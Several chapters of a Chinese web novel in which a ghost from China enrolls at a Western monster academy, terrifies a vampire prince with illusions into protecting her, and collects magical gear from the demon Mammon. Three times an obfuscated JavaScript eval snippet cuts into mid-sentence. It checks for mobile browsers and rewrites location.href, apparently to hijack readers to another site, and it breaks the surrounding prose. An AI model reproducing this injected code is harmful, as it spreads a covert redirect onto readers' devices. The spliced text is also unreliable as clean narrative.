《中式女鬼进入西方鬼怪学院》 3. 震慑吸血鬼王子(1) 晚上九点,吸血鬼王子艾麦里克·乌瑟利安回到寝室所在的城堡左侧翼。 高贵的血统和出身让他在里不必与人同住,而是拥有一套宽敞的高级套房,客厅、卧室、书房、浴室一应俱全。 高级套房所在的顶楼楼道拐角处,司凌换上了一身民国风的大红婚服安静等待,在艾麦里克踏上楼梯最后一级的时候,她启唇轻吟出一句咒语:“隐魂遁形。” 咒语念完,司凌的身形消失无踪。她身为厉鬼原本就是活人不可见的,隐魂咒的咒语加持可以让她在短时间内进一步隐匿行迹,连鬼怪也看不到她的存在。 不远处,艾麦里克走到自己的放门前,抬手拧下带有欧式复古花纹的铜色门把。 在房门推开的刹那,一股寒涔涔的凉风从艾麦里克身侧掠过。 ……作为天生喜欢阴冷的吸血鬼,艾麦里克理论上对这种感觉并不陌生,但说不清为什么,他被这阵风激起一种毛骨悚然的感觉。 这陌生的感觉让艾麦里克的身形滞了一滞,然后他抬手摸向门内墙壁,打开了客厅的灯。 目光穿过装潢奢华的客厅,艾麦里克看到与门正对的窗户开着一扇,晚风从窗中灌进来,颇有厚度的窗帘被刮得鼓起一个包。 艾麦里克皱了皱眉,大步走到窗前,关紧窗户并挂上了闩扣。 窗户左侧几步远的位置就是墙壁,一面穿衣镜立在墙角。 艾麦里克回过身的时候,一个女人的影子从窗中一闪而过,他不由一凛,下意识地再度看向穿衣镜,但镜子里什么都没有了。 只有他自己的倒影和他无声对视。 幻觉吗? 艾麦里克皱了皱眉,举步走向卧室。 卧室与客厅间的房门本就没关,原本站在镜子旁边等他下一步动作的司凌见他往卧室走,先他一步飘了进去。 作为一名优雅的吸血鬼王子,艾麦里克不仅容貌俊美,还拥有良好的卫生习惯,每天晚上回到寝室的第一件事就是洗澡。 司凌站在门边,眼看他从房间里拿出浴巾、睡袍,立刻往卧室另一端的浴室飘去,飘了一米远又飘回来,用力关上卧室与客厅相连的门。 “啪!”房门骤响,艾麦里克吓了一跳。 他猛地直起身,转身看向房门,又看了眼房中紧闭的窗户,脑海里同时浮现出的是自己刚刚亲手关紧的客厅窗户。 “谁?”他警惕地环顾四周,金棕色的眉宇微皱,嗓音低沉地用德语问,“谁在装神弄鬼?” 然后,他迟疑地报出一个名字:“伊丽莎白?” 房中安静无声,无人回应。 这不是伊丽莎白恶作剧的风格,艾麦里克也想不到还有谁会来他这里闹鬼,于是他再次认为这是幻觉,拿着衣服走进浴室。 他关上门,才解开衬衫的第二颗纽扣,浴室的灯光突然闪烁起来,夹杂着微微的电流音,亮与暗以两秒一次的间隔交替。 艾麦里克顿住手上的动作,目光凝固,紧盯面前的浴室镜。 ——大家都是鬼怪,在吓人套路这方面没什么新鲜的,艾麦里克静等对方的面孔突然出现在眼前,要么是一张鬼脸要么是狼人之类的生物,都没什么新鲜的。 艾麦里克面无表情地挽起袖口,做好了迎面给对方一拳的准备。 “呲啦,呲啦——”浴室灯还在继续闪烁不停,即便是吸血鬼,眼睛也有点不适了。 又闪了几下后,那暖黄色的光突然变成了幽暗的绿光,闪烁的频率却是一样的。 一明一暗,两秒一换。 艾麦里克呼吸放缓,更加聚精会神地盯着镜子,忽而一刹,在绿光亮起的同时,他看到浴帘后静静露出了半个人影。 那个影子穿着一身带有繁复绣纹的大红衣裙,堪称“文静”地立在那里,只是头发披散在脸前,完全遮住了她的容貌。 ……毫无血腥,并不狰狞,也说不清为什么,艾麦里克后脊沁出一层凉意。 他僵在镜前,好似过了很久才想起自己要做什么,于是突然回头,高高扬起拳头。 “啪!”拳头击中空荡荡的浴帘,浴帘后什么都没有。 “呲啦——”灯亮起来,暖黄的颜色恢复如初。 艾麦里克怔忪一瞬,忽然感觉身后沁来一股阴森,猛地转过身,看到浴室镜靠近房门的边缘,披头散发的红色鬼影一划而过。 “谁!”艾麦里克暴躁起来,一把拉开浴室门追了出去,然而下一秒,他如遭雷劈般僵住了。 ——出现在他面前的,还是浴室。 他正站在浴室门内,他怔怔地侧首,看到了熟悉的镜子。 再看向门外,外面是卧室。 “呲啦——”灯光又闪起来。 “呲啦——”由黄转绿。 “呲啦,呲啦——”一明一暗,两秒一换。 艾麦里克有点崩溃了,他深呼吸,再次拉门而出——却又回到了浴室里。 “呲啦,呲啦——”灯光闪烁的频率分毫不变。 “谁!滚出来!!!”艾麦里克大吼。 余光扫过浴室镜,他蓦地又看到对方的存在——那一身大红的鬼东西头上也多了一块红布,正以一种近乎蜷缩的诡异姿态抱在他的肩上,他几乎能感觉到她贴着他的耳际吹出的阴风! “啊——!”艾麦里克惨叫着向耳边挥拳,但再次打在了空气里。 浴室里的光线突然稳定了,稳定在了那种幽暗的绿色里。 艾麦里克双目圆睁,呼吸在不知不觉间变得局促。 在同样的“不知不觉”间……他已不再期待什么血腥恐怖的场景直接撞到面前,他沉浸在一种从未经历过的陌生恐惧里,这种恐惧并不刺激,但无处不在。 “哗啦……”是流水声,艾麦里克循声回过头,看到镜前的水龙头打开了。 水源源不断地进洗脸池再灌入下水口,那下水口的阀门是完全打开的,但不知道为什么,水很快被堵住了,渐渐在水池里结成水汪。 ……艾麦里克不是恐怖片里好奇心重又手贱的主角团,他心知这不对劲,完全不打算伸手探究是什么堵住了下水道。 他警惕地退开两步,小腿抵着浴池边缘,冷静地紧盯洗脸池。 他迫使自己稳住心神,咬着牙想:我不好奇,看你怎么办! 司凌抱臂倚靠着洗脸台,见发展不似所想,不满地撇了下嘴:非逼她玩个大的。 她将手探入婚服衣袖,捏出一沓纸人,也没数有多少个,掐了个口诀,纸人被扬入空中,消失无踪。 “哗——”艾麦里克听到另一股水声从身后传来,他回过头,看到浴池的花洒也打开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15179945|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 清水从花洒里均匀地涌出来,落进浴池之中。 “记得我吗……”幽幽的女声从他耳畔传来,轻轻细细地萦绕。 “我想你了。”她又说。 艾麦里克嚯地转回头,视线不经意间地再次扫过浴室镜——猝不及防地,他看到那女人身影端正地映在镜子里。她头上的红布没了,但乌黑的长发垂在面前,他仍旧看不到她的容貌,只看到她双手各露出一截小臂,那小臂是惨白的,显然不属于活人。 “你是谁!”对于鬼怪的认知撑住了艾麦里克最后的心力,他冲着镜子大喊。 话音未落,镜子里的女人影没了。 那幽幽的声音又在耳际响起,带着一股哀怨轻轻问他:“你怎么……把我忘了?” “谁啊!滚出去!”艾麦里克毫无章法地乱挥拳头,一边冲空气咆哮,一边再度拉开浴室门。 他本做好了再度踏入浴室的准备,但这次他却顺利离开浴室了。 他错愕地看着面前昏暗天色下的中式庭院,庭院里人声鼎沸,但不见任何人影,四处都挂着大红绸布,不远处的一道大门通向更深的院落,门上贴着他并不认识的字:囍。 艾麦里克意识到自己陷入了很高级的幻境,但不等他做任何反应,天边缥缈传来一声戏腔:“一拜——天地!” 两个男人不知是何时出现在他身边的,他们力气很大,不由分说地押着艾麦里克走进那道贴着“囍”字的大门,他被他们按着跪在地上,在挣扎中磕了一个头。 “二拜——高堂!”还是那缥缈的戏腔,艾麦里克被人死死捏着脖颈,又磕了一个。 “夫妻——对拜——” 艾麦里克自始至终都不知对方在说什么,但在这句话之后,他被那两个人提了起来。这让他抓住机会爆发了吸血鬼的力量,蓦然挣开了桎梏。 也就是同一瞬间,那两个人消失了。 艾麦里克抬头看向眼前,八仙桌两侧坐着两个人偶。 “啊!”他惊叫着跌退,脚下一歪,摔倒在地。 这也不怪他,因为那两个人偶长得过于诡异。他们一男一女,都是木制的,但身上穿着绸布的中式衣裳,脸被漆刷得惨白还隐有些裂痕,又用黑漆瞄出两双没有眼白的杏仁眼和鼻子,再勾出一张鲜红的嘴。 欧洲吸血鬼家族出身的艾麦里克属实没见过这种画风惊悚的玩意儿。 他不由浑身颤栗,小心翼翼地看向两侧,然后就看到…… 除了他身处的这片地方,周围全是人偶! 他们穿着不同的衣服,有着不同的姿态。有的在作揖,有的在沉吟,有的似乎在看热闹。 但不论什么姿态,他们每一位都在笑,嘴巴扬起同样的弧度,搭配着无法分辨感情的杏仁眼。 艾麦里克毛骨悚然! “啊啊啊啊——”他已顾不上从地上爬起来,一边惨叫一边蹭着地往门口避。 然而人偶们似乎听到了他的叫声,它们像被触动按钮一样,维持着原本各式各样的姿态,整齐地向他转过头来,木制结构扭动在空气中溢起一缕微妙的摩擦音。 黑漆漆的杏仁眼,勾着同样弧度笑容的嘴巴……他们一起望着他。 “啊——!!!”艾麦里克王子殿下惨叫到楼下狼人以为学校里又多了个同类。 4.震慑吸血鬼王子(2) 在上千年的岁月里,艾麦里克王子从来没有这样失去过风度! 他浑身发抖到手脚都不听使唤,打了好几次滑才四肢并用地从这间厅堂里爬出去。 但当他冲到院子里,外面的天色突然黑了——明明在两秒之前,他在堂屋里看到的还是昏暗的白天。 现在,黑绸般的夜幕笼罩在宅院上方,在宅院的角落里隐隐泛出些幽冥的绿光。 艾麦里克刹住脚,不敢再回头看那充满人偶的房间一眼,只能慌乱地张望两侧与前方。 忽然,一股阴冷的气息从背后袭来,艾麦里克几乎是弹跳着转过身。 他顿时与身后的堂屋正面相对……在一片漆黑里,堂屋犹如一个深不见底的洞穴,那些人偶惨白的脸依稀可见。他们仍旧端着标准的微笑,整齐划一的望着他。 艾麦里克毛骨悚然,他想要跑,但双脚就像生了根一样无法动弹。 阴风又吹了一阵。 艾麦里克看到有什么东西从黑暗深处迎面飘了出来…… 穿着大红嫁衣的女子飘得很高,踩着绣鞋的脚底完全悬空,从人偶们上方掠过。她盖着红盖头,看不到脸,只能看到枯草般的黑发从盖头下方垂出来一些,除此之外就是枯槁般的苍白细腕、双手,艾麦里克在惊惧中紧盯着那双手,于是看清了发黑的尖细长甲…… 她一直飘到艾麦里克身前,居高临下地停住。 艾麦里克僵硬地一分分抬起头,透过红盖头下方的缝隙……他看到那枯草般的黑发间露出一只布满血丝的眼睛,阴森森地注视着他。 “啊——!!!”艾麦里克吓到破音。 爆发的求生欲让他转身飞奔而出,脑子里却全是刚才的画面。 微笑的人偶、飘来的女鬼、眼睛…… 眼睛…… 他下意识地觉得那眼睛格外的圆,然后就开始胡思乱想,他想她的上眼皮很有可能被割掉了,于是露出了整个眼球。 没有眼皮的眼球隐匿于枯发之间盯着他看…… “啊啊啊啊啊!!!”艾麦里克吓得眼泪弥漫出来,身后又起了一阵凉风,他脑海中顿时浮现出女鬼就飘在身后的景象,一边狂奔一边保住脑袋。 可当他再定睛的时候,他又置身在那浴室里了。 “不……不……”艾麦里克惶恐不定地左顾右盼,此时的他已入惊弓之鸟,纵使浴室里只是黑着灯,什么都没出现,他也觉得那些恐怖的东西就在身边。 他幻想一个人偶静默地坐在浴池的角落望着他笑,于是猛地转身,但角落里什么也没有。 又幻想那女鬼就悬在头顶上,凌乱干枯的黑发延长下来扫过他的头顶,霍然抬头,又是什么都没有。 司凌坐在离艾麦里克不足两米的马桶盖上托腮望着他。 她现下什么都没做,艾麦里克身后真的没有人偶,头上也真的没有鬼。 看着艾麦里克现在神经质的反应,司凌心里知道,差不多了。 ……不同于西方喜欢把血腥恐怖的画面直接撞入视线带来最粗暴的刺激,中式恐怖更喜欢让氛围里弥漫淡淡的恐怖,用这种恐怖一点点击垮人的心理防线。 等心理防线被摧毁,就算根本没有鬼,置身其中的人也会想象鬼就在自己身边。 想象身后幽幽的注视,想象下水道口里连着一小块黏软头皮的头发,想象房门猫眼里的没有黑瞳仁的眼睛,想象熟睡时站在床尾幽幽注视自己的黑影…… 所有深藏在脑海的恐怖元素都会在这种时刻被激发出来,这比丧尸扑脸恐怖多了! 艾麦里克现在的状态,显然已置身在这种想象中。 司凌掂量着,这应该足以让这位高贵的吸血鬼王子见识到中式恐怖的厉害。 再考虑到他并没有得罪她,她大度地打消了吓他一整夜的念头,起身从他面前走向浴室门口。 在走出浴室之前,她顺手打开了浴室的灯。 暖黄的灯光映照下来,让艾麦里克松了口气。他怔怔地又强撑了两秒,脱力地瘫坐到地上,发现自己的衬衫都被汗水沁透了。 “破障魂显。”卧室里,司凌一边走向床边不远处的椅子,一边念咒解除隐形。 她安然坐到椅子上,等待艾麦里克出来。 . 艾麦里克用了不知多久才感觉气力慢慢恢复,呼吸也逐渐平稳下来。他撑住地面,艰难地站起身,紧接着又撑住洗脸台,对着镜子用力缓了好几口气才真正让自己站稳了。 ……即便如此,他仍旧好几次回想起在镜子里看到鬼影的画面,每一次都在他皮肤上掀起一阵恶寒。 艾麦里克打开水龙头洗了把脸,但当他闭上眼睛将水泼到脸上的时候,又不受控制地想想水龙头里流出来的是鲜血。 艾麦里克后脊一紧,哆嗦着睁眼,在确认水龙头里确实是清水后,他随手关了水龙头,连擦脸的心情都没有,烦躁地走出了浴室。 然后他一抬头…… “F**K!”身穿大红嫁衣的陌生女人让他如惊弓之鸟般猛地向后一退,司凌对他的反应仿若未觉,微笑着颔了颔首,启唇就是标准的汉斯语:“晚上好,王子殿下。” “是你……”艾麦里克瞬间想明白了刚才的一切,脸上顿显怒色,“是你装神弄鬼!” 他足下生风地冲向司凌,司凌挑眉,抬手打了个响指,周围的场景倏然一变。 又是那方庭院…… 艾麦里克如遭雷劈地刹住脚步,脸色煞白地张望四周,不敢妄动。 司凌仍旧安坐在那张椅子上,欧式的椅子与中式庭院的画风格格不入。 “如果我愿意,我可以持续捉弄你一夜、一整天、一星期,甚至一个月……”司凌勾起笑,又打了个响指,四周恢复了卧室正常的景象,“您是想现在冲过来揍我,还是我们做个友好的交换,殿下?” 艾麦里克盯着她,脸上的神情在几秒之间变了几变,最终理智还是战胜了愤慨。 他紧紧咬住后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186668|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙,问司凌:“什么交换?” “我会当个友好的同学,不会再吓你了。”司凌的笑容人畜无害,如何忽略她刚才那句威胁,这抹笑容甚至称得上甜美。 艾麦里克又问:“你要什么?” “管好那些西方鬼怪。”司凌的笑容收敛了大部分,但神情仍是友好的,“他们不欺负我和阿坠,我就不动你。” “……这跟我有什么关系?!”艾麦里克觉得这不可理喻,“这位瓷国小姐,我知道你是今天入学的,但我根本没有见到你!我也不知道你和他们发生了什么!” “你说得对。”司凌对他的据理力争深表理解,抱歉地颔了颔首,“你很无辜,但我们瓷国有句号,叫做‘擒贼先擒王’。” 她站起身,缓步走向艾麦里克。艾麦里克对她身上的嫁衣发怵,下意识地退了半步。 司凌善解人意地停住了脚:“还有句话,叫‘在其位谋其政’。”她顿了顿,幽幽地笑看着他,“他们都敬重你,你就不能只享受尊敬却不承担责任。管好他们,否则我保证你每晚都有一场‘美梦’。” 她咬重“美梦”这个词,艾麦里克一阵窒息。 “睡个好觉吧。”司凌低了下眼帘,语毕就转身离开了。 她像个活人一样到卧室门口,伸手打开房门走出去,几秒后,艾麦里克又听到客厅门开合的声音……一切都那么正常。 他终于松了口气,摇摇头,目光不经意间扫见浴室,又一阵不寒而栗。 门外,司凌脚步轻快地下楼,走向自己的房间。 她身后楼梯上方的过道拐角处,一双黑色的皮鞋无声踏出来。 路西法沉默地看了眼不远处艾麦里克·乌瑟利安的房间,又看向正下楼的司凌,视线凝在她单薄的身影上,直到她消失不见。 . 司凌回到房间,阿坠早已睡着了。司凌很快也上了床,安然入睡。 熟睡中,司凌又进入了熟悉的梦境。这个梦境在长达三万年的岁月里时常出现,在她心情好的时候出现得尤为频繁。 她梦到自己置身于一片淡金色的湖边,天边的晚霞将云映照得像一朵朵暄软的棉花糖。淡金色的湖面也映着这漂亮的晚霞与云,偶有一阵清风拂过,湖面上就泛出淡淡的涟漪。 幸福与喜悦充斥她的内心,她似乎正面对什么很令人愉悦的事。在这三万年中,她曾无数次地想探知这场梦境的所在,想弄清自己为何心怀喜悦,但始终没有答案。 可即便是这样的茫然不知缘故,这种幸福感也丝毫没有被冲淡。 她拎起身上的长裙,衣料带来凉滑的感触。 她在湖边蹲下身,手指轻轻划过柔和的水面,一些小小的波纹随着她手指滑动向两侧蔓延,湖水清凉的触感萦绕在她的指尖上。 在这满心的舒畅里,她听到庄严肃穆的钟声从远方传来,一群飞鸟被这钟声所惊,从湖对面的山林里扑簌着飞出来,发出悠扬空灵的啼叫,冲向更遥远的天际。 5.震慑吸血鬼王子(3) 当清晨的阳光再度洒入霍亨索伦堡,游客们走进城堡开始新一天的游览。 他们对平行空间里存在的物种毫无察觉,于是正走上城堡斜坡的一位灯塔国女士和刚刚晨跑归来的狼人擦肩而过,三位同行的瓷国女生先后穿过了僵尸新娘伊丽莎白的身体,依附于八音盒的腐国女鬼爱丽丝也并不知道有两名同样来自于腐国的活人同胞正从她面前经过。 城堡中大教堂的位置是鬼怪学院的食堂,司凌和阿坠结伴而行,在食堂门口见到了艾麦里克。 虽然吸血鬼的皮肤原本就很苍白,但还是看得出他今日显得更憔悴了,漂亮的褐色眼睛失去了光彩。 司凌猜想昨晚在她离开后他睡得也并不好……这也正常,因为她虽然收掉了幻境,却阻止不了他自己胡思乱想。 阿坠看到艾麦里克,习惯性地想要躲开,正要拉司凌的手,却见司凌加快脚步跟了上去:“Hey,王子殿下。” “哎你……”阿坠脸色一僵,不安地追上去,想把她拽走。 但艾麦里克先一步回过了头,阿坠伸向司凌的手只好顿住。 “早安。”司凌微笑着向艾麦里克颔首。 艾麦里克脑子里的恐怖画面又开始不受控的翻涌,他强行咳了声,语气不大自然:“早。” 司凌目不转睛地望着他:“您考虑好了吗?” “呃……当然。”艾麦里克又咳了两声,定神道,“很公平。” “那就好。”司凌满意地点点头,反手拉住阿坠,复又大步向食堂走去,给艾麦里克留下一句轻快的,“回见!” 阿坠一脸诧异:“你见过他了?”她惊疑不定地问司凌,“什么时候?” “昨晚。”司凌并不隐瞒,“友好交谈了一下。” 踏进食堂的大门,司凌脚下才往左一转就知道了什么叫冤家路窄。 现在正是早餐高峰期,前台点餐处出现了短暂的排队,在她前面的正是昨天那个开口就是嘲讽的意国吸血鬼。 对方也马上注意到了她,吸血鬼獠牙在敌意中本能地露出来,又突然化作“哈”的一声笑。 司凌面无表情的抬眼,意国吸血鬼故意提高声音:“听说你们瓷国最爱吃昆虫和内脏?我能问问你平常早餐吃什么吗?炸蚂蟥还是香煎肺泡?” 在他说话的时候,他前面排队的学生已经点完了餐。司凌的目光平移,从他肥硕的脸上挪向前台,用字正腔圆的意国语跟前台后飘着的幽灵说:“意大利面。” 幽灵一边低头记录一边问:“配白酱?红酱?” 司凌:“老北京炸酱。” 幽灵手上一颤,羽毛笔在纸上划出一个长道。 “喂,你!”面前意国吸血鬼一秒炸毛,吸血鬼的獠牙完全显现,一把抓向司凌的衣领。 “砰——!”一声巨响,食堂里的学生在惊然扭头的同时陷入死寂。 本来只是条件反射的循声张望,但当他们看清面前的景象,好奇就从眼中漫了出来,离得稍远的学生甚至从座位上站起了身,生怕错过什么精彩画面。 ——目光所及之处,那位身材浑圆的意国吸血鬼被强大的法力撞飞出去,击中餐厅左侧墙壁的一排木柜,而司凌仍旧站在前台那里。 几秒的呆滞之后,所有人又一齐看向司凌身后西装革履的吸血鬼王子。 艾麦里克·乌瑟利安双手插在西服口袋里,没有理会任何人的打量,只是平静地注视着前方:“你们对东方文化蔑视和诋毁的样子就像生命转瞬即逝的肤浅人类一样。恕我提醒你们,乌瑟利安家族始于公元前8世纪,那时被你们视为正统的古罗马帝国只是一个新兴的城市,让我的家族繁衍生息的汉斯国还处于部落阶段。因此,我的祖先才有幸参与了古罗马文明文明的初建。但在同一时期……” 他垂眸睇着司凌:“在遥远的东方,商王朝长达五个多世纪的统治已经结束二百余年了,西周也即将落下帷幕。再过二百多年,即便是文盲也该听过的Confucius(孔子)就将诞生。在他拥有三千门生的时候,你们大多数人所处的文明连雏形都还没有。” 汉斯语的发音低沉,被他以这样冷漠矜持的样子说出来,逼格简直拉满。 艾麦里克暗想他这辈子都不会告诉大家,他此时摆出这样“目中无人”的态度其实是因为他们刚刚整齐看向他的样子激起了他的一些恐怖记忆。 司凌回过头凝视着他,不无戏谑地想:哦,看来他昨晚没睡好也不全是因为吓的,和熬夜苦读史书准备发言词多少有点关系。 “现在,奥雷里奥。”艾麦里克淡淡看向那摔在地上气喘吁吁的意国吸血鬼,“我不介意替你道歉,但我建议你自己来。” “我、我我我……”奥雷里奥慌里慌张地想要爬起来,但吸血鬼的力量不是开玩笑的,艾麦里克刚才那一拳让他砸垮了三个木柜,此时奥雷里奥被尴尬地嵌在了柜子里。他身形又胖,笨重的挣扎让他脱离柜子的速度很慢。 这窘迫的局面让他无地自容,艾麦里克的注视更让他额上渗出冷汗,他磕磕巴巴地嘟囔着:“我、我……抱歉,我道歉……对不起,我的意思是……女士,请您别和我计较……” 司凌并不急于表态,她冷眼等待这个品性糟糕的吸血鬼终于从破损的木柜里挣扎出来。 奥雷里奥的后背连衣服带皮肤都被折断的木板刮破了,虽然吸血鬼的特质已经在令他的皮肤以肉眼可见的速度愈合,但破损的黑西装和白衬衫翻出的木条就那样狼狈地在背后晃着。 自诩高贵的吸血鬼们很少呈现这样的窘态,但艾麦里克乜着他,心里在想:你真应该感到庆幸。 ——如果你知道我昨晚经历了什么的话。 奥雷里奥一瘸一拐地来到司凌面前,总算将情绪稳住了一些,清了清嗓子,向司凌低下了头:“我很抱歉……我很抱歉因为我肤浅的认知对您造成困扰。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191826|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你没有对我造成困扰,只让我看到了你的狭隘和刻薄。”司凌脸上染着温和的笑意,她低下眼帘,奥雷里奥发觉她的眼神中没有丝毫可以称为“厌恶”的东西,只有一份显而易见的轻蔑,就像造物主在看自己最渺小的作品,“我也不接受你的道歉。” 奥雷里奥神思一滞,他在惊慌间下意识地望向艾麦里克,艾麦里克同样一怔。 司凌将奥雷里奥的慌乱尽收眼底,她一字一顿告诉他:“我会记得这两天你说过的每一句话,但我愿意暂且容忍。再有下次,我会把这两笔账一起算清楚。” “我……”奥雷里奥有些心虚,再次望向了艾麦里克,而艾麦里克只是面无表情地移开了目光。 “我不会了!”奥雷里奥赶紧保证,“我保证不会了!” 食堂里的静谧又深了一重,学生们面面相觑。 他们不明白发生了什么,竟然能让高高在上的艾麦里克王子站出来教训自己的同族给她撑腰。 更不明白这个初来乍到的东方女鬼到底有什么背景,竟然在艾麦里克出面压制纷争的前提下还能这样不给面子地说出“我不接受你的道歉”?! 邻窗的位置,僵尸新娘伊丽莎白不快地皱起眉头,心情的阴郁让她眼下的乌青都变深了。 司凌自问说了一切该说的,不再多看奥雷里奥一眼,转身又跟前台说:“刚才的面不用了,我要一份红油抄手,谢谢。” “……好的女士。”幽灵服务员赶紧从吃瓜中抽离出来,手中的羽毛笔飞速写下司凌的点单,递给身后窗口里只有正常人类一半高的霍比特人①。 这些霍比特人酷爱美食,每天要吃六餐②。这种热爱让他们在成为鬼怪学院的职工后迅速掌握了各国美食的烹饪技巧。再加上后厨还有善于制作魔法食物的爱尔兰妖精提供法力加持,霍比特人的出餐速度飞快,短短三分钟后,司凌就拿到了她的红油抄手。 “我去那边等你。”她望着不远处的桌子向阿坠道。 阿坠这会儿才从震惊里回过神,连忙应了声“好”,然后随意跟幽灵服务员点了两样餐。 又过了三分钟,阿坠端着餐盘坐到了司凌对面,脸上仍旧写满惊疑,倒吸冷气盯着司凌:“你怎么做到的……艾麦里克生性高冷,平常连一句话都懒得多说!” “还好吧。”司凌吹着汤匙里冒着热气的抄手,耸了耸肩,“我觉得他挺好说话的。” 阿坠讶然。 她瞠目结舌地盯着司凌看了半天,总算从恍惚中想起她说过的一句话:恐惧就是恐惧。 “……你吓唬他了?!”她一边问,一边觉得自己说了句很荒谬的话。 司凌笑了笑,凝神思索片刻:“不妨说……我为了日后长久的和平,适当地展现了一下己方实力,并且顺利完成了想要的交易。”她用了一个自认为更恰当的说法。 阿坠脑内翻译:是的,我吓唬他了。 ——而且我成功了。 6.贪婪的玛门 其他学生见争端结束,终于揣着一颗看热闹的心坐回去继续吃早餐了,整顿饭四处都弥漫着窃窃私语。奥雷里奥索性没吃东西,狼狈回寝室换衣服去了。 饭后,司凌跟着阿坠前往位于城堡南侧三楼的“地狱科技研发部”,领取一些必要的道具。 这个部门由臭名昭著的恶魔玛门负责,在传说中,他作为七宗罪中的贪婪象征被称为“财富的邪神”,阿坠说他很适合这个岗位,“因为他足够贪婪,总想用最少的成本发挥最大的效力”。 她们一起走到地狱科技研发部门口,门是大开着的。 玛门背对着大门蹲在地上,正忙着清点一些道具的数量,司凌首先看到的是一个比撒旦健壮些的黑西服背影,只是多了一对黑色的羽翅。 阿坠出于礼貌敲了两下门,玛门转过头,司凌看到一个长有猩红双目的鸟类脑袋①。 ……看起来应该是鸦类的脑袋,覆盖着黑色的羽毛和并长有尖喙。只是这脑袋上还多了一对暗色的角,是向后弯曲的,上面还有一圈圈的螺纹,这它看上去多了几分地狱魔的气息。 阿坠对此见怪不怪:“早上好,玛门教授。” “哦……早。”玛门站起身,稍有不满,“下次带新同学来之前,你最好提前告诉我一声,阿坠小姐。”他的鸟喙咂吧了两下,“这样我至少可以先启用化形,看起来友好一些,你说呢?” “没必要吧,玛门教授。”阿坠忍俊不禁道,“反正您九成以上的时间都懒得化形,任何一位新同学都会在三天之内见到您的真身的。” “别这么说。”玛门脸上有些挂不住,“你这样说就好像我象征的是‘懒惰’而不是‘贪婪’。” 说完他看向司凌,友好地身出右手:“你好,来自于东方的新同学。” “您好,玛门教授。”司凌学着阿坠的称呼跟他握了手,但私心里觉得称呼一个举世闻名的恶魔为“教授”实在奇怪。 “来吧,我先给你拿必要的道具,已经准备好了。”玛门带着她走向不远处的木柜,木柜是棕红色的,直接打在墙上,在这至少有六七米层高的房间中从地面直通房顶。 司凌看到这柜子有点理解玛门为什么“九成以上的时间都懒得化形”了,因为他需要那对翅膀,否则他在拿放道具的时候就只能不停地搬梯子。 “这是SAN值测定器。”玛门早已把提前准备好的几样东西放在靠下的一个格子里,他将“SAN值测定器”递给司凌,司凌接过来一看,是个乌鸦头形状的徽章。 玛门告诉她:“出任务的时候带着它,它会自动显示活人的SAN值,最高为100%。SAN值越低越容易被索命,低于10%一般都能直接弄死。” 他这样介绍着,阿坠在旁边小声跟司凌说:“我观察过了,其实就是把人的三魂七魄吓飞……每个相当于10%。” “呃……”司凌哑了哑,“我不太明白,我是厉鬼,我不能直接杀人吗?”她语中一顿,又补充道,“能打过我的鬼都不多。” “哦——”玛门笑了,“看来你从来没对人下过手,真是个好鬼。” 乌鸦头上看不出什么表情,司凌一时很难判断他到底在夸她还是在嘲讽她。 玛门耐心地解释道:“是的,不能,不然你以为恐怖电影里的鬼为什么都要来回来去吓人?你们的法力再强大也只对妖魔鬼怪奏效,对活人无用——当然,你也可以善用机制。” 司凌:“什么叫善用机制?” “‘鬼怪实用技能课’上会给你讲详细的操作的。”玛门笼统道,“总之就是因地制宜,比如你在悬崖边就可以布置幻境,引诱目标走向悬崖。这样虽然他SAN值100%无法被你杀死,但掉下悬崖总会死的。” “好了,这个你也拿着。”玛门又递过来一样东西,是一枚用黄纸折成的小三角,里面隐约透出一点用朱砂写下的字迹。 司凌了然:“传音符?” “对。”玛门点点头,“瓷国进口的,5G版。在任务中能随时进行语音通讯,没有延迟。还有这个……” 他递来第三样东西,是个做工粗糙的白色布偶,只有巴掌大小。 “替身傀儡。”玛门说,“发生意外时保命用的,它可以不知不觉地替代你,而你会被传送到五米外的地方。” 司凌睇着捏在手里的白色布偶挑了挑眉,心情有些复杂:人鬼相斗,鬼居然要这么怂吗? 这和她出发前预想的不太一样。 “最后是这个。”玛门把一个黑色的皮制双肩包提到她面前,“我管它叫玛门背包——因为是我独家制作的,哈哈!它的容量远比它看起来要大,把整个霍亨索伦城堡装进去都没问题。哦不过——友情提醒,你不要出于好奇自己钻进去看,不然……除非有人知道你在里面并把你‘拿’出来,否则你就出不来了。” 这倒很实用。 司凌笑着接过:“谢谢。” 